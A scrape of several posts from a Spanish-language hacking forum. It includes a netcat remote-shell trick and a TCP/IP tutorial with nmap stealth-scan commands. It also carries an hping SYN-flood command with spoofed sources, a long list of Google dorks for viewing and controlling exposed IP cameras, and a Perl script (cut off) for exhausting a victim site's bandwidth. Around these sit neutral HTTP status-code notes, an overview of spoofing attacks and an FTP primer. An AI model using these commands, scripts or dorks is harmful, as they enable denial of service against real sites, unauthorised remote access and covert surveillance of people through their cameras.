listo! Ahora esto lo pueden probar con sus propias pcs, ejecuten esa orden, y luego hagan telnet a su propia Pc y veran como obtuvieron una shell remota Wink Aca les dejo unas imagenes para que se guien mas.

Hagamos una prueba para ver como funciona esto.
[1] Introducimos en una linea de comandos, y dejamos el nc a la escucha


[2] Nos logeamos por medio de telnet a ese puerto que dejamos a la escucha, esperando por nuestra shell


[3] Automaticamente, la obtenemos y nos quedamos con el prompt del sistema a mano ;P
Aca tire un netstat para que vean como se dio la conección aunque por ser obviamente ambas la misma PC es algo confuso... pero bueno.


Esta es una forma un poco mas elegante de obtener acceso remoto a una PC que tiene su HD compartido, sin utilizar un feo troyano ;P
Ah por cierto, el cliente telnet de windows es una basura, ya que les mostre la herramienta 'putty' mejor haganlo con esa
#5313
Vamos a ver que hay muchos tipos de scaneos de puertos, no es uno solo, hay algunos mas silenciosos que otros, otros mas efectivos. Todos se basan en un conocimiento profundo de TCP/IP


Introducción a TCP/IP
Los protocolos basados en TCP, son protocolos orientados a conección. Esto quiere decir, que hay todo un proceso para armar la conección, recien ahi se empiezan a mandar los paquetes necesarios (la información que se tenian que mandar) y luego terminan la conección. Esto hace que los protocolos basados en TCP sean mas lentos, que los protocolos basados en UDP (no vamos a hablar de UDP/IP ahora, pero lo que tienen que saber, es que los protocolos basados en UDP, no arman una conección previamente a mandar los datos necesarios, si no que los mandan a lo 'bruto' sin fijarse si el receptor esta en condiciones de recivirlos o no).

Vamos a profundizar un poco mas en esto de como se maneja el protocolo TCP/IP

Cuando ustedes necesitan hablar con alguien por msn, y pedirles algo, generalmente primero lo saludan, esperan el saludo de la otra persona, luego de eso (y al asegurarse que del otro lado del msn hay una persona escuchandolos) le dicen lo que necesitan, y su comunicación termina con una despedida. Aunque siempre se encuentran maleducados en la vida ¬¬ (en la informatica, es microsoft ....)

En TCP/IP es lo mismo. El proceso es asi:

1. Petición de conección ---->
Persona A 2. <--- Conección aceptada Persona B
3. <--- Ida y vuelta de datos --->
4. Cierre de conección

Por otro lado, les voy adelantando que en UDP/IP, el esquema seria este:

Persona A <---- Ida y vuelta de datos ---> Persona B


Los paquetes TCP/IP son estructurados, y esta es la estructura de su cabecera de datos:

---------------------------------
| Puerto Origen | Puerto Destino |
---------------------------------
| Numero de Secuencia |
---------------------------------
| Numero de Confirmación |
---------------------------------
|Comienso de | |U|A|P|S|F| |
| Datos | |R|C|S|Y|I| Ventana |
| | |G|K|H|N|N| |
---------------------------------
| Suma de | Puntero de |
| Comprobación | Urgencia |
---------------------------------
| Datos |
---------------------------------

Asi se organizan las cabeceras de los paquetes TCP/IP que circulan por nuestra PC Wink
A medida que vamos a ir necesitando, vamos a ir explicando para que sirve cada parte de la cabecera de un paquete TCP/IP (en este articulo expicaremos algunos, a medida que vamos abanzando, veremos mas)

Por ahora, veremos los Flags. Los flags ocupan 1 bit cada uno en la cabezera de un paquete, y como pueden ver (aunque quedaron chuequitas las | ) son URG, ACK, PSH, SYN, FIN. Como sabran, que ocupe 1 bit significa que es 1 caracter, y como se pueden imaginar puede ser 0 o 1.

Creando una conección entre dos host:
Como ya habiamos adelantado, si el protocolo se basa sobre TCP/IP, es un protocolo orientado a conección, y ahora veremos como se hace esa conección.


1 ------> Enviamos un paquete SYN
Host A 2 <------ Recibimos un paquete SYN ACK Host B
3 -------> Enviamos un paquete ACK

Asi es como realmente se realizan las conecciones TCP/IP

Veamos, antes de comenzar a enviar los datos que realmente queremos enviar, vamos a armar una conección para asegurarnos que el Host B va a recibir los paquetes que estamos enviando y que no los estamos enviando al vacio =P (ya los tengo podrido con esto de que es orientado a conección, no?)

Enviamos un paquete con el Flag SYN activado (o sea, con el Flay Syn valiendo 1)
Cuando este paquete le llega al Host B, este interpreta que el Host A esta intentando comenzar una conección, (si las reglas de administración lo permite, digamos, si ningun router, firewall, o lo que sea lo impide) este le contesta con un paquete que tiene dos flags activados: SYN y ACK. Esto quiere decir que acepta la conección
El Host A al recibir este ultimo paquete, tiene la aceptación del Host B para iniciar una conección con el, solo falta que responda con un paquete ACK para que realmente la conección se establezca.

En todo este proceso, que obviamente se hace automaticamente, la conección toma distintos estados.
1) Cuando enviamos el paquete SYN, nuestro estado es SYN_ENVIADO
2) Cuando recivamos la respuesta del Host B (el paquete con los flags SYN y ACK activados) nuestro estado de coneccion es SYN_RECIBIDO
3) Luego de enviar por ultimo el ACK, el estado sera de ESTABLECIDO

¿Que significado tiene cada Flag?

Flag URG: Este Flag, significa que tiene caracter de urgente el paquete. Que debe ser tratado primero que los Paquetes normales, es decir que se saltea la cola =P

Flag ACK: Este paquete se usa como confirmación de que el paquete anterior fue recivido.

Flag PSH: Se utiliza para vaciar un buffer de transimision (por ahora no importa)

Flag RST: Significa Reset, es para reiniciar una conección porque capaz un paquete llego corrumpido (los paquetes tienen verificaciones, por si se perdio un paquete por el camino o por si alguien esta mandando paquetes corruptos =P)

Flag SYN: Para comenzar una conección.

Flag FIN: Para finalizar una conección.

Fin de la 'teoria' vamos a la practica


Escaneando Puertos de forma Avanzada
Hay muchas técnicas, algunas mejores que otras, algunas mas silenciosas, otras mas directas, yo lo que voy a explicar ya lo puse en practica, pero luego nos reuniremos por el IRC a practicar Smile
Para esta practica, usaremos el nmap. Bajenlo de aca

1- TCP_CONNECT
Este es el mas comun de todos, directamente, nos conectamos un host al puerto que queremos saber si esta abierto. Si nos podemos conectar, esta abierto.
Ahi pasaria lo que explicamos arriba, los 3 pasos para formar una conección
Si esta cerrado, en vez de recibir un paquete SYN-ACK, recibiremos un RST

2- SYN_SCAN
Este es un scan de medio pelo, y lo que hacemos es esto.
Mandamos un paquete SYN; si recibimos un paquete SYN-ACK no respondemos con un paquete ACK, si no que mandamos un paquete RST para cerrar la conección.
¿porque? Fácil, el Host B (mantengamos esa idea en la cabeza) ya nos informo perfectamente que tiene el puerto abierto o cerrado, y el solo echo de responder con un ACK para armar la conección a ese puerto, seria una estupidez, ya que no sacariamos provecho alguno, mas que dejar un lindo log de conección en el SO.
Este tipo de scaneo, es bien reconocido por los firewalls, les aparecera algo como SYN attack (el mcaffe lo muestra textualmente asi) pero es mejor que nada.
Digamos, a un firewall le basta y le sobra con que le llege un paquete SYN pidiendo que se arme una conección; pero al SO solo se da cuenta y hace un log cuando se completa el intento de conección

nmap escribió:
nmap -vv -PO -sS ip

3- Stealth Scan
Este scaneo es realmente bueno y silencioso, muchos firewalls lo pasaron por alto.
La idea de este scaneo, es mandar un paquete FIN al Host B a determinado puerto, si nos responde con un paquete RST, el puerto seguro esta cerrado.
Caso contrario (si no responde) esta abierto o silencioso (un puerto silencioso, no responde a estos pedidos)
Si bien, tiene como ventaja que la mayoria de los firewalls lo pasan por alto (por no armar una conección) Windows, que no siguen los estandares de nada, no respeta esta estructura TCP/IP (asi como su IE no sigue los standares de la programación web y luego la gama de Mozilla es "inconpatible"). Asi que no es buena idea lanzar este tipo de scaneos a un SO windows ya que nos dara una infinidad de puertos abiertos, que en realidad no esta. Aunque por otro lado, nos sirve para osfinger, de esta forma ya sabemos que estamos frente a un SO windows =P

nmap escribió:
nmap -vv -PO -sF ip


4- ACK Scan
Este tipo de scaneo, esta orientado para determinar cuando un puerto esta silenciado (que era la falla de los anteriores)
La idea es esta, si le mandamos un paquete ACK a un Host B, con todo aleatorio (como si hubiera existido en algun momento una conección) el Host B interpretara que ese paquete es totalmente erroneo, y que nunca hubo un intento de conección... por eso si el Puerto esta abierto, o cerrado, en cualquiera de los dos casos, nos respondera con un paquete RST.
Pero si no responde, ya sabemos con perfección que ese puerto esta filtrado por un firewall!!
Como veran, esta tecnica es extremadamente útil para convinarla con otra, para sacarnos las dudas.

nmap escribió:
nmap -vv -PT ip


Haciendo un DoS: SYN Flood
Vamos a aplicar nuestras técnicas para hacer un DoS, aprovechando nuestros conocimientos de TCP/IP
Vamos a hacer uno que consume los recursos, veamos, cada vez que uno se quiere conectar con un HOST y envia un paquete SYN a el, este crea una tabla en memoria, llamda estructura de datos. Asi con cada intento de coneccion de una IP, a un puerto, vamos a intentar floodear al sistema con paquetes SYN, con muchos intentos de conección para consumir recursos en memoria y hacer un DoS al demonio.
Para hacer esto de manera correcta, tenemos que spofear el IP. ¿Y esto porque?

Host A ------> Envia paquete SYN -------> Host B
24.232.144.xxx con IP Spofeada
1.1.1.1

Bueno, si el HOST B recibe un paquete SYN de la IP 1.1.1.1, va a intentar responder al IP con un SYN/ACK, la gracia es que al no existir la IP 1.1.1.1 nunca recibira una respuesta al paquete que "envio" 1.1.1.1 y se quedara consumiendo recursos en memoria, en su estructura de datos. (cada conección tiene un time to live, es decir, luego de x cantidad de tiempo, se borran automaticamente, liberando los recursos en memoria)
Al ser flood, obviamente hay que hacer esto, con muchos paquetes, por ejemplo con 100; todos con IPs spoofeadas.
Hay un programa muy poderoso para linux que nos permite hacer esto automaticamente, es hPing (hping es un programa propio para linux, lo pueden hacer desde una shell si no disponen de un windows instalado en su propia pc, o si no, utilizar nemesis que es parecido y corre sobre windows)

hPIng escribió:
hPing No tienes permitido ver enlaces. Registrate o Entra a tu cuenta --rand-source --destport 21 --syn --count 150

Explico brevemente:
rand source, enviara desde IPs aleatorias.
destport 21, ataca a la IP No tienes permitido ver enlaces. Registrate o Entra a tu cuenta al puerto 21
syn, obiviamente pone un 1 en el flag syn
count 150, va a enviar 150 paquetes

Un problema para esto, es cuantos routers o sistemas de validación hay en el medio entre vos y tu destino No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Capaz antes de llegar al destino, tenes routers que verifican que las IPs no son validas, y no dejen llegar los paquetes a destino.

PD: si este tema ya estaba borren nomas (por lo menos lo busque y no lo vi)
#5314
Hacking / Espiar a todo el mundo por Camaras
Febrero 18, 2010, 12:16:45 PM
Con solo poner lo siguiente en google:

Código: text
inurl:\view\index.shtml 


podran ver camaras ubicadas en las calles de todas las partes del mundo, y no solo eso, sino que tambien podran manejarlas

Aqui les dejo otra que me paso mi amiga Traxtor:

Código: text
inurl:\ViewerFrame?Mode=


Aca mas:

Código: text
inurl:ViewerFrame?Mode=
inurl:MUltiCameraFrame:?Mode=
inurl:view/index.shtml
inurl:indexFrame.shtml Axis
inurl:"ViewerFrame?Mode="
intitle:snc-rz30 inurl:home/
inurl:/view/index.shtml
inurl:"ViewerFrame?Mode="
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"
inurl:CgiStart?page=Single
inurl:indexFrame.shtml?newstyle=Quad
intitle:liveapplet inurl:LvAppl
inurl:/showcam.php?camid
inurl:video.cgi?resolution=
inurl:image?cachebust=
intitle:"Live View / - AXIS"
inurl:view/view.shtml
intext:"MOBOTIX M1"
intext:"Open Menu"
intitle:snc-rz30
inurl:home/
inurl:"MultiCameraFrame?Mode="
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live NetSnap Cam-Server feed"
intitle:"Live View / - AXIS 206M"
intitle:"Live View / - AXIS 206W"
intitle:"Live View / - AXIS 210"
inurl:indexFrame.shtml Axis
inurl:"ViewerFrame?Mode="
inurl:"MultiCameraFrame?Mode=Motion"
intitle:start inurl:cgistart
intitle:"WJ-NT104 Main Page"
intext:"MOBOTIX M1" intext:"Open Menu"
intext:"MOBOTIX M10" intext:"Open Menu"
intext:"MOBOTIX D10" intext:"Open Menu"
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:"sony network camera snc-p1"
intitle:"sony network camera snc-m1"
site:.viewnetcam.com -www.viewnetcam.com
intitle:"Toshiba Network Camera" user login
intitle:"netcam live image"
intitle:"i-Catcher Console - Web Monitor"
inurl:/home/home
"Kamerainformationen anzeigen"
intitle:"AXIS 2100 Network Camera Axis 2100 Network Camera 2.02"
intitle:"Linksys Web Camera" "ver"


MAS!

Código: text
(intitle:(EyeSpyFX|OptiCamFX) "go to camera")|(inurl:servlet/DetectBrowser)
inurl:"ViewerFrame?Mode="
intitle:"Live View / - AXIS" | inurl:view/view.shtml
inurl:"MultiCameraFrame?Mode="
intitle:"WJ-NT104 Main"
intitle:"snc-rz30 home" Requiere plugin Active-X.
inurl:"ViewerFrame?Mode=Motion" Requiere plugin Active-X.
inurl:LvAppl intitle:liveapplet
intitle:"Live View / - AXIS" Requiere plugin Active-X.
intitle:"Powered by webcamXP"
inurl:indexFrame.shtml "Axis Video Server"
inurl:"MOBOTIX M1? and "open menu"
intitle:flexwatch intext:"Copyright by Seyeon TECH Co"
"axis video server view.shtml"
"/view/view.shtml axis"
"adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera"
"Live view - / - AXIS"
"Your browser has JavaScript turned off.For the user interface to work effectively"
"indexFrame.html axis"
"Live web imaging unleashed"
"sample/LvAppl/"
"/control/userimage.html"
"(c)copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved"
"V.Networks Motion Picture(Java)"
"Control the Pan/Tilt and move to the Preset Position"
"/app/idxas.html"
"Saving & Retrieving Mode"
"/ViewerFrame?Mode=Motion"
"TOSHIBA Network Camera - User Login"
"/home/homeJ.html"
"my webcamXP server!"
inurl:/view.shtml
intitle:"Live View / - AXIS" | inurl:view/view.shtml^
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:"live view" intitle:axis
intitle:liveapplet
allintitle:"Network Camera NetworkCamera"
intitle:axis intitle:"video server"
intitle:liveapplet inurl:LvAppl
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live NetSnap Cam-Server feed"
intitle:"Live View / - AXIS"
intitle:"Live View / - AXIS 206M"
intitle:"Live View / - AXIS 206W"
intitle:"Live View / - AXIS 210?
inurl:indexFrame.shtml Axis
inurl:"MultiCameraFrame?Mode=Motion"
intitle:start inurl:cgistart
intitle:"WJ-NT104 Main Page"
intext:"MOBOTIX M1? intext:"Open Menu"
intext:"MOBOTIX M10? intext:"Open Menu"
intext:"MOBOTIX D10? intext:"Open Menu"
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:"sony network camera snc-p1?
intitle:"sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:"Toshiba Network Camera" user login
intitle:"netcam live image"
intitle:"i-Catcher Console - Web Monitor"


Saludos!

                         ANTRAX
#5315
Peticiones (Request) HTTP, metodos de peticion

Una petición HTTP, en su formato más básico, tiene la siguiente sintaxis:

Citarmetodo    URI    version

El método le indica al servidor que hacer con el URI , por último la versión simplemente indica el número de versión del protocolo que el cliente entiende. Una petición habitual utiliza el método GET para pedirle al servidor que devuelva el URI solicitado:

CitarGET /index.html HTTP/1.0

Métodos HTTP

GET: Devuelve el recurso identificado en la URL pedida.
HEAD: Funciona como el GET, pero sin que el servidor devuelva el cuerpo del mensaje. Es decir, sólo se devuelve la información de cabecera.
POST: Indica al servidor que se prepare para recibir información del cliente. Suele usarse para enviar información desde formularios.
PUT: Envía el recurso identificado en la URL desde el cliente hacia el servidor.
OPTIONS: Pide información sobre las características de comunicación proporcionadas por el servidor. Le permite al cliente negociar los parámetros de comunicación.
TRACE: Inicia un ciclo de mensajes de petición. Se usa para depuración y permite al cliente ver lo que el servidor recibe en el otro lado.
DELETE: Solicita al servidor que borre el recurso identificado con el URL.
CONNECT: Este método se reserva para uso con proxys. Permitirá que un proxy pueda dinámicamente convertirse en un túnel. Por ejemplo para comunicaciones con SSL (Socket Secure Layer).

De entre los tres parámetros el más importante es el método. HTTP/1.1 incorpora ocho métodos, aunque sólo obliga a implementar GET y HEAD, siendo todos los demás opcionales. En cualquier caso, los servidores que implementen alguno de los métodos adicionales, deben atenerse a la especificación de los mismos. Existe también la posibilidad de implementar métodos extendidos, a los que la especificación no pone ningún límite.

En HTTP/1.0 sólo se especificaban tres métodos, GET, POST y HEAD. Estos son, con diferencia, los tres más extendidos y utilizados, por ello se comentan un poco más ampliamente.

Codigos de respuestas HTTP

Son códigos de tres dígitos:

    * 1xx Mensajes

    N° - 100 111    Conexión rechazada

    * 2xx Operación exitosa

    N°    Descripción
    200    OK
    201-203 Información no oficial
    204    Sin Contenido
    205    Contenido para recargar
    206    Contenido parcial

    * 3xx Redirección hacia otro URL

    N°    Descripción
    300    Múltiples posibilidades
    301    Mudado permanentemente
    302    Encontrado
    303    Vea otros
    304    No modificado
    305    Utilice un proxy
    307    Redirección temporal

    * 4xx Error por parte del cliente

    N°    Descripción
    400    Solicitud incorrecta
    401    No autorizado
    402    Pago requerido
    403    Prohibido
    404    No encontrado
    405    Método no permitido
    406    No aceptable
    407    Proxy requerido
    408    Tiempo de espera agotado
    409    Conflicto
    410    Ya no disponible
    411    Requiere longitud
    412    Falló precondición
    413    Entidad de solicitud demasiado larga
    414    URL de solicitud demasiado largo
    415    Tipo de medio no soportado
    416    Rango solicitado no disponible
    417    Falló expectativa

    * 5xx Error por parte del servidor

    N°    Descripción
    500    Error interno
    501    No implementado
    502    Pasarela incorrecta
    503    Servicio no disponible
    504    Tiempo de espera de la pasarela agotado
    505    Versión de HTTP no soportada

Recomendacion: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta




Fuentes:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta




Ideal para tomar como base al momento de leer textos que necesitan conocimiento de peticiones HTTP y de codigos de respuestas HTTP. Tambien util para el uso de netcat.

Saludos
#5316
Hacking / Ataques de Autenticacion
Febrero 18, 2010, 12:10:55 PM
Spoofing-Looping

Spoofing puede traducirse como "hacerse pasar por otro" y el objetivo de esta técnica, justamente, es actuar en nombre de otros usuarios, usualmente para realizar tareas de Snooping o Tampering. Una forma común de Spoofing es conseguir el nombre y password de un usuario legítimo para, una vez ingresado al sistema, tomar acciones en nombre de él.

El intruso usualmente utiliza un sistema para obtener información e ingresar en otro, y luego utiliza este para entrar en otro, y así sucesivamente. Este proceso, llamado Looping, y tiene la finalidad de "evaporar" la identificación y la ubicación del atacante.

El camino tomado desde el origen hasta el destino puede tener muchas estaciones, que exceden obviamente los límites de un país. Otra consecuencia del Looping es que una compañía o gobierno pueden suponer que están siendo atacados por un competidor o una agencia de gobierno extranjera, cuando en realidad están seguramente siendo atacado por un Insider, o por un estudiante a miles de Km de distancia, pero que ha tomado la identidad de otros.

La investigación de procedencia de un Looping es casi imposible, ya que el investigador debe contar con la colaboración de cada Administrador de cada red utilizada en la ruta. El envío de falsos e-mails es otra forma de Spoofing que las redes permiten. Aquí el atacante envía E-Mails a nombre de otra persona con cualquier motivo y objetivo. Tal fue el caso de una universidad en EE.UU. que en 1998, que debió reprogramar una fecha completa de exámenes ya que alguien en nombre de la secretaría había cancelado la fecha verdadera y enviado el mensaje a toda la nómina de estudiantes.

Muchos ataques de este tipo comienzan con Ingeniería Social y los usuarios, por falta de cultura, facilitan a extraños sus identificaciones dentro del sistema usualmente través de una simple llamada telefónica.

Spoofing

Spoofing, en términos de seguridad de redes hace referencia al uso de técnicas de suplantación de identidad generalmente con usos maliciosos o de investigación.

Existen diferentes tipos dependiendo de la tecnología a la que nos refiramos, los cuales se describirán más adelante, como el IP spoofing (quizás el más conocido), ARP spoofing, DNS spoofing, Web spoofing o e-mail spoofing, aunque en general se puede englobar dentro de spoofing cualquier tecnología de red susceptible de sufrir suplantaciones de identidad.

Tipos de Spoofing 


  • IP Spoofing: suplantación de IP. Consiste básicamente en sustituir la dirección IP origen de un paquete TCP/IP por otra dirección IP a la cual se desea suplantar. Esto se consigue generalmente gracias a programas destinados a ello y puede ser usado para cualquier protocolo dentro de TCP/IP como ICMP, UDP o TCP. Hay que tener en cuenta que las respuestas del host que reciba los paquetes irán dirigidas a la IP falsificada. Por ejemplo si enviamos un ping (paquete icmp "echo request") spoofeado, la respuesta será recibida por el host al que pertenece la IP legalmente. Este tipo de spooofing unido al uso de peticiones broadcast a diferentes redes es usado en un tipo de ataque de flood conocido como ataque Smurf. Para poder realizar IP SPOOFING en sesiones TCP, se debe tener en cuenta el comportamiento de dicho protocolo con el envío de paquetes SYN y ACK con su ISN específico y teniendo en cuenta que el propietario real de la IP podría (si no se le impide de alguna manera) cortar la conexión en cualquier momento al recibir paquetes sin haberlos solicitado. También hay que tener en cuenta que los routers actuales no admiten el envío de paquetes con IP origen no perteneciente a una de las redes que administra (los paquetes spoofeados no sobrepasarán el router).

  • ARP Spoofing: suplantación de identidad por falsificación de tabla ARP. Se trata de la construcción de tramas de solicitud y respuesta ARP modificadas con el objetivo de falsear la tabla ARP (relación IP-MAC) de una víctima y forzarla a que envíe los paquetes a un host atacante en lugar de hacerlo a su destino legítimo. Explicándolo de una manera más sencilla: El protocolo Ethernet trabaja mediante direcciones MAC, no mediante direcciones IP. ARP es el protocolo encargado de traducir direcciones IP a direcciones MAC para que la comunicación pueda establecerse; para ello cuando un host quiere comunicarse con una IP emite una trama ARP-Request a la dirección de Broadcast pidiendo la MAC del host poseedor la IP con la que desea comunicarse. El ordenador con la IP solicitada responde con un ARP-Reply indicando su MAC. Los Switches y los hosts guardan una tabla local con la relación IP-MAC llamada "tabla ARP". Dicha tabla ARP puede ser falseada por un ordenador atacante que emita tramas ARP-REPLY indicando su MAC como destino válido para una IP específica, como por ejemplo la de un router, de esta manera la información dirigida al router pasaría por el ordenador atacante quien podrá sniffar dicha información y redirigirla si así lo desea. El protocolo ARP trabaja a nivel de enlace de datos de OSI, por lo que esta técnica sólo puede ser utilizada en redes LAN o en cualquier caso en la parte de la red que queda antes del primer Router. Una manera de protegerse de esta técnica es mediante tablas ARP estáticas (simpre que las ips de red sean fijas), lo cual puede ser difícil en redes grandes. Para convertir una tabla ARP estática se tendría que ejecutar el comando:

  • arp -s [IP] [MAC]

  • Por ejemplo: arp -s 192.168.85.212 00-aa-00-62-c6-09

Otras formas de protegerse incluyen el usar programas de detección de cambios de las tablas ARP (como Arpwatch) y el usar la seguridad de puerto de los switches para evitar cambios en las direcciones MAC.

DNS Spoofing: Suplantación de identidad por nombre de dominio. Se trata del falseamiento de una relación "Nombre de dominio-IP" ante una consulta de resolución de nombre, es decir, resolver con una dirección IP falsa un cierto nombre DNS o viceversa. Esto se consigue falseando las entradas de la relación Nombre de dominio-IP de un servidor DNS, mediante alguna vulnerabilidad del servidor en concreto o por su confianza hacia servidores poco fiables. Las entradas falseadas de un servidor DNS son susceptibles de infectar (envenenar) el caché DNS de otro servidor diferente (DNS Poisoning).

Web Spoofing: Suplantación de una página web real (no confundir con phising). Enruta la conexión de una víctima a través de una página falsa hacia otras páginas WEB con el objetivo de obtener información de dicha víctima (páginas WEB vistas, información de formularios, contraseñas etc.). La página WEB falsa actúa a modo de proxy solicitando la información requerida por la víctima a cada servidor original y saltándose incluso la protección SSL. El atacante puede modificar cualquier información desde y hacia cualquier servidor que la víctima visite. La víctima puede abrir la página web falsa mediante cualquier tipo de engaño, incluso abriendo un simple LINK. El WEB SPOOFING es difícilmente detectable, quizá la mejor medida es algún plugin del navegador que muestre en todo momento la IP del servidor visitado, si la IP nunca cambia al visitar diferentes páginas WEB significará que probablemente estemos sufriendo este tipo de ataque.

Mail Spoofing: Suplantación en correo electrónico de la dirección e-mail de otras personas o entidades. Esta técnica es usada con asiduidad para el envío de e-mails hoax como suplemento perfecto para el uso de phising y para SPAM, es tan sencilla como el uso de un servidor SMTP configurado para tal fin. Para protegerse se debería comprobar la IP del remitente (para averiguar si realmente esa ip pertenece a la entidad que indica en el mensaje) y la dirección del servidor SMTP utilizado. Otra técnica de protección es el uso de firmas digitales.

IP Splicing-Hijacking

Se produce cuando un atacante consigue interceptar una sesión ya establecida. El atacante espera a que la victima se identifique ante el sistema y tras ello le suplanta como usuario autorizado.

Utilización de BackDoors

Las puertas traseras son trozos de código en un programa que permiten a quien las conoce saltarse los métodos usuales de autentificación para realizar ciertas tareas. Habitualmente son insertados por los programadores del sistema para agilizar la tarea de probar código durante la fase de desarrollo"(1).
Esta situación se convierte en una falla de seguridad si se mantiene, involuntaria o intencionalmente,  una vez terminado el producto ya que cualquiera que conozca el agujero o lo encuentre en su código podrá saltarse los mecanismos de control normales.

Utilización de Exploits

Es muy frecuente ingresar a un sistema explotando agujeros en los algoritmos de encriptación utilizados, en la administración de las claves por parte la empresa, o simplemente encontrando un error en los programas utilizados.
Los programas para explotar estos "agujeros" reciben el nombre de Exploits y lo que realizan es aprovechar la debilidad, fallo o error hallado en el sistema (hardware o software) para ingresar al mismo.
Nuevos Exploits (explotando nuevos errores en los sistemas) se publican cada día por lo que mantenerse informado de los mismos y de las herramientas para combatirlos es de vital importancia.

Obtención de Passwords

Este método comprende la obtención por "Fuerza Bruta" de aquellas claves que permiten ingresar a los sistemas, aplicaciones, cuentas, etc. atacados.
Muchas passwords de acceso son obtenidas fácilmente porque involucran el nombre u otro dato familiar del usuario y, además, esta nunca (o rara vez) se cambia. En esta caso el ataque se simplifica e involucra algún tiempo de prueba y error. Otras veces se realizan ataques sistemáticos (incluso con varias computadoras a la vez) con la ayuda de programas especiales y "diccionarios" que prueban millones de posibles claves hasta encontrar la password correcta.
La política de administración de password será discutida en capítulos posteriores.

Uso de Diccionarios

Los Diccionarios son archivos con millones de palabras, las cuales pueden ser posibles passwords de los usuarios. Este archivo es utilizado para descubrir dicha password en pruebas de fuerza bruta.
El programa encargado de probar cada una de las palabras encripta cada una de ellas, mediante el algoritmo utilizado por el sistema atacado, y compara la palabra encriptada contra el archivo de passwords del sistema atacado (previamente obtenido). Si coinciden se ha encontrado la clave de acceso al sistema, mediante el usuario correspondiente a la clave hallada.
Actualmente es posible encontrar diccionarios de gran tamaño orientados, incluso, a un área específico de acuerdo al tipo de organización que se este atacando.
En la tabla 7.4 podemos observar el tiempo de búsqueda de una clave de acuerdo a su longitud y tipo de caracteres utilizados. La velocidad de búsqueda se supone en 100.000 passwords por segundo, aunque este número suele ser mucho mayor dependiendo del programa utilizado.

Aqui puede verse la importancia de usar passworS de 8 caracteres de longitud.

by mainfox
#5317
Hacking / Simple Denial Of Service
Febrero 18, 2010, 12:10:06 PM
Este es un simple script que forma peticiones (GET) constantes a un Determinado Archivo alojado en un Servidor X (X = Victima) , hasta agotar su Bandwidth (Ancho de Banda) y cumplir con el ovjetivo de dejar Off-Line al Servidor especificado.

Yo lo he probado y puedo decirles que funciona muy bien.

NOTAS :

Les explico mas o menos como trabaja y funciona esto para aquellos que no conoscan bien de que se trata el DoS. Cada sitio tiene un limite de transferencia mensual mas conocido como bandwidth, cuando se adquiere un host te dan cierto limite, y cuando execedes esa transferencia tu pagina se vuelve inaccesible al publico mostrando un error.Dejandola inactiva hasta el mes Proximo. Por lo general la transferencia mensual de un server mas o menos comunacho de 8 a 15Gb de bandwidth mensual,uno podria pensar que eso es mas que suficiente para un sitio con pocas visitas, pues el ancho de banda se gasta cada que alguien descarga algun archivo de la pagina,ya sean imagenes,codigo,zip's, etc, cualquier archivo que descargues gasta el ancho de banda. Lo interesante es que no es necesario "descargar" propiamente el archivo del servidor, basta con hacer la peticion en este caso GET, con eso bastara para que el servidor piense que han descargado el archivo y disminuya el ancho de banda disponible del mes.
Este sencillo script permite hacer las peticiones,simplemente tienes que buscar la ruta de algun archivo pesado en el servidor (mientras mas pesado, mas rapido terminaras), y el script nos muestra la respuesta del servidor como lo mostrare en el siguiente Code:

Código: text
HTTP: 1.0 200 OK



Cuando nos aparezca el ultimo mensaje (509 o 505 bandwidth limit exceeded , mision cumplida ,habremos dejado offline el sitio por el resto del mes.

Aqui les dejo el Codigo


Código: text
#!/usr/bin/perl
#Escrito por Megababa
# Solo busca la ruta de algun archivo pesado y listo # Algunos lo llaman Magia,yo simplemente NIVEL.
use IO::Socket;
use strict; print q( #########Desmadrador de Transferencia Mensual############# #########by Megabyte############## );
for(0..1000) { my($eliteador); my($SOCKET) = new IO::Socket::INET( Proto => "tcp", PeerAddr=> "TUVICTIMA.COM:80");
if (! defined $SOCKET) { die $!; } print $SOCKET "GET http://TUVICTIMA.COM/ARCHIVO.RAR HTTP/1.0\n\n"; $eliteador =


fuente - fuck-cls
#5318
Aportaciones 2009
Texto web: gasperar

Como crear un servidor FTP

Intercambio de ficheros.-

Una de las actividades más importantes de Internet, pese a quien le pese, es el intercambio de ficheros. Películas, canciones, juegos de ordenador, programas, ... Todo se intercambia en la red.

En este artículo vamos a explicar cómo intercambiar ficheros con tus amigos dentro de Internet (tanto tú dejar ficheros para que tus amigos se descargen como que tus amigos puedan dejarte ficheros en tu ordenador). ¿Cómo se hace eso? Pues la forma más simple y versátil es con un servidor FTP.

¿Cómo funciona?:

Retrocedamos tiempo atrás. Hasta la década de los 70 del siglo pasado, concrétamente hasta el año 1973. En esa época, se necesitaba crear un sistema para yo dejar un grupo de ficheros en un ordenador y que aquel que se conectase pudiese copiar ficheros al suyo o bien dejarme ficheros en el mío. Para eso se creó el FTP.

El funcionamiento del FTP es muy simple. En primer lugar, deciros que hay 2 programas FTP. Por un lado está el servidor FTP que es el encargado de gestionar los ficheros que quieres compartir y por otro lado están los clientes FTP que son los que se conectan al servidor.

Así pues, para conectarse a un servidor FTP, primeramente hay que tener un cliente FTP. ¿Dónde conseguir uno? Existen multitud (cientos díra yo) de clientes FTP. La mayor parte son shareware (lo cual quiere decir que podemos usar el programa con funcionalidades recortadas o durante un tiempo limitado y si lo queremos usar completamente tendremos que pagar). WS_FTP, FTP_PRO, ... En esta página podremos encontrar un listado con una amplia variedad de clientes FTP para que podais elegir el que más os convenga.

